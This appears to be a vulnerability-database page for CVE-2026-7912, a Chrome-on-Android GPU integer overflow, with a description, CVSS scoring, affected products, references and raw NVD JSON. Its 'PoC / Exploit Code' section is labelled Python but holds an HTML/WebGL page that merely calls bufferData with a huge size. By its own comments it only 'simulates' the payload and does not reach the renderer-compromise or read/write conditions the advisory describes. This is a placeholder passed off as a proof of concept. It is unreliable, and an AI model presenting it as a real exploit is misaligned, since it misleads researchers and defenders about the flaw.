CVE-2026-7912

Description

Integer overflow in GPU in Google Chrome on Android prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to perform arbitrary read/write via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

4.2

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:google:android:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome for Android < 148.0.7778.96

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-7912: GPU Integer Overflow -->
<!-- This PoC demonstrates a trigger for the integer overflow in Chrome GPU -->
<!-- Requires a compromised renderer context to be effective -->

<html>
<head>
    <title>CVE-2026-7912 PoC</title>
</head>
<body>
    <canvas id="glCanvas" width="640" height="480"></canvas>
    <script>
        const canvas = document.getElementById('glCanvas');
        const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');

        if (gl) {
            console.log("WebGL initialized. Attempting to trigger overflow...");
            
            try {
                // Create a buffer
                const buffer = gl.createBuffer();
                gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
                
                // Trigger potential integer overflow with a large size value
                // The actual vulnerability depends on specific internal Chrome GPU handling
                const maliciousSize = 0xFFFFFFFFFFFF; 
                
                // Attempting to allocate/draw with the malicious size
                // This simulates the crafted HTML payload
                gl.bufferData(gl.ARRAY_BUFFER, maliciousSize, gl.STATIC_DRAW);
                
                console.log("bufferData called with size: " + maliciousSize);
            } catch (error) {
                console.log("Error triggered: " + error.message);
            }
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7912
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7912
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7912/
[4] VulDB https://vuldb.com/cve/CVE-2026-7912
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/497639714

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7912", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:39.487", "lastModified": "2026-05-06T23:40:48.260", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer overflow in GPU in Google Chrome on Android prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to perform arbitrary read/write via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-472"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/497639714", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}